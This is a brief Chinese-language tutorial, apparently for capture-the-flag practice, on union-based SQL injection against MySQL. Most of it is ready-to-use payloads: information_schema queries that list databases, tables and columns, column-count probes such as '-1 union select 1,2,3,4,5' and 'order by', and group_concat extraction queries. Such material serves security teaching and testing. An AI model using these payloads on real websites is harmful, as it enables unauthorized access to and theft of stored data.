mysql中数据库information_schema使得注入方便了许多
行为 | 语句 |
---|---|
查库 | select schema_name from information_schema.schemata |
查表 | select table_name from information_schema.tables where table_schema=库名 |
查列 | select column_name from information_schema.columns where table_name=表名 |
union联合查询
union注入成功前提:页面有回显,联合查询的列数与原查询的列数一致
使用 and 1=2是使原来的查询结果失败,一下用 -1 表示
确定列数:-1 union select 1,2,3,4,5 (如果查询的有5列,页面回显正常,测试列数时从1慢慢添加即可)
当回显正常时,页面显示数据的地方,会被标记成1,2,3,4,5,这样我们就知道每列的数据显示在什么位置了
不使用上述方法测试列数也可以直接用order by来确认列数
如:order by 5(只有5列的话累加到6会出错观察页面数据的变化也可以知道每列的数据显示在什么位置)
开始获取数据:
行为 | 语句 |
---|---|
查数据库 | -1 union select 1,database(),3,4,5 ---(库名显示在第二个列表) |
查询表名 | -1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() ---(表名全部写在第二列) |
查询列名 | -1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag' ---(查询flag表的所有列显示在第二列) |
网友评论